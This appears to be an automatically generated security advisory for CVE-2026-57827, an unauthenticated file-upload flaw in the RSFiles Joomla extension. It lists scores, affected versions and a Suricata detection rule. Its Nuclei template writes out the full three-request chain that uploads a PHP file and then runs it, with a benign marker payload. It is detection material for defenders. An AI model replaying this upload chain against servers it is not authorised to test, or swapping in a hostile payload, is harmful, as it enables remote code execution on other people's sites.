CVE-2026-57827: Joomla Extension - rsjoomla.com - Unauthenticated file upload in RSFiles component < 1.17.12
Advisory generated from the CVE record, CISA, Exploit Observer and VEDAS: what it is, whether it is exploited, who is affected, and how to fix and detect it.
Generated by VEDAS. Scores as of 2026-11-08 00:03 UTC. Rebuilt every few hours from cve-scores, CISA KEV and vedas-signatures. How this works and its limits.
What it is
Joomla Extension - rsjoomla.com - Unauthenticated file upload in RSFiles component < 1.17.12 - The Joomla extension RSFiles is vulnerable to an unauthenticated arbitrary file upload that allows uploading executable files and leads to full RCE.
Description quoted from the CVE record (assigned by Joomla, published 2026-07-11).
Weakness: CWE-434: Unrestricted Upload of File with Dangerous Type
How it can be exploited
Exploitable over the network with low attack complexity with no special attack requirements needing no privileges and no user interaction. Impact: confidentiality high, integrity high, availability high. CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:A/AU:Y/U:Red
CISA assessment (SSVC): CISA has no evidence of exploitation. Automatable: yes. Technical impact: total.
Public exploit evidence (Exploit Observer)
Exploit Observer found 1 Nuclei template and 10 code repositories naming this CVE.
Code repositories that name a CVE are often scanners, copies or fakes, and some are malware. Read the code before running anything.
See all 14 references on Exploit Observer
Live scores
- EPSS
- 0.169
likely to be attacked soon - VEDAS
- 0.978
strong exploit evidence - On CISA KEV
- Not listed
Who is affected
| Product | Affected | Not affected |
|---|---|---|
| rsjoomla.com RSFiles extension for Joomla | version 1.0-1.17.11 | Not stated |
Version ranges exactly as the CVE record states them. “Before X” means X is the first fixed version.
How to fix it
No fixed version or vendor advisory is listed in the CVE record yet. Watch the vendor’s security page.
How to detect it
Nuclei template (active check)
Joomla - Arbitrary File Upload
Joomla Extension - rsjoomla.com - Unauthenticated file upload in RSFiles component < 1.17.12 - The Joomla extension RSFiles is vulnerable to an unauthenticated arbitrary file upload that allows uploading executable files and leads to full RCE.
Name and description quoted from the template, written by VEDAS.
The template sends 3 requests (POST /index.php?option=com_rsfiles&task=rsfiles.checkupload, POST /index.php?option=com_rsfiles&task=rsfiles.upload, GET /downloads/{{marker}}.php); it decides using dsl matchers. Severity in the template: critical. Marked as not yet verified against a live vulnerable target.
Run it against a host you own or are authorised to test:
nuclei -u https://your-host -t CVE-2026-57827.yamlShow the template (73 lines)
id: CVE-2026-57827
info:
name: "Joomla - Arbitrary File Upload"
author: vedas-arpsyndicate
severity: critical
description: |
Joomla Extension - rsjoomla.com - Unauthenticated file upload in RSFiles component < 1.17.12 - The Joomla
extension RSFiles is vulnerable to an unauthenticated arbitrary file upload that allows uploading executable
files and leads to full RCE.
reference:
- https://www.exploit.observer/?keyword=CVE-2026-57827&match=exact
- https://subdomain.center/?engine=ammonites&keyword=joomla&match=exact
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2026-57827
cwe-id: CWE-434
metadata:
verified: false
tags: cve,cve2026,joomla,rsjoomla,rsfiles,file-upload,rce,intrusive
variables:
marker: "{{to_lower(rand_text_alpha(8))}}"
flow: http(1) && http(2) && http(3)
http:
- raw:
- |
POST /index.php?option=com_rsfiles&task=rsfiles.checkupload HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(body, "\"status\":\"ok\"")'
condition: and
internal: true
- raw:
- |
POST /index.php?option=com_rsfiles&task=rsfiles.upload HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary=----RSFilesBoundary57827
------RSFilesBoundary57827
Content-Disposition: form-data; name="file"; filename="{{marker}}.php"
Content-Type: application/x-php
<?php echo 'VT-2026-57827-{{marker}}'; ?>
------RSFilesBoundary57827--
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(body, "\"status\":\"success\"")'
condition: and
internal: true
- raw:
- |
GET /downloads/{{marker}}.php HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- "contains(body, 'VT-2026-57827-{{marker}}')"
condition: and
Suricata rules (network detection)
1 rule that alert on traffic matching this exploit: VEDAS CVE-2026-57827 Joomla - Arbitrary File Upload. Add them to your Suricata rule set and reload.
Show the rules
alert http $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"VEDAS CVE-2026-57827 Joomla - Arbitrary File Upload"; flow:established,to_server; http.uri; content:"index.php"; nocase; fast_pattern; classtype:web-application-attack; reference:cve,CVE-2026-57827; reference:url,https://www.exploit.observer/?keyword=CVE-2026-57827&match=exact; reference:url,https://subdomain.center/?engine=ammonites&keyword=joomla&match=exact; sid:1010358; rev:1;)
CVE-2026-57827.rules on GitHub
References
Technical analysis and advisories
- https://mysites.guru/blog/rsfiles-unauthenticated-file-upload-rce/ (third-party-advisory)
Other references
Other databases
Where this comes from
This advisory is generated automatically by VEDAS from: CVE.org record, cve-scores (EPSS and VEDAS), Exploit Observer, vedas-signatures. Text in quotes is reproduced from the source; everything else is a fixed template filled with source fields. Nothing here is written by a language model. Check the vendor advisory before acting, and read how VEDAS and Exploit Observer work, and their limits.
Supporting partners
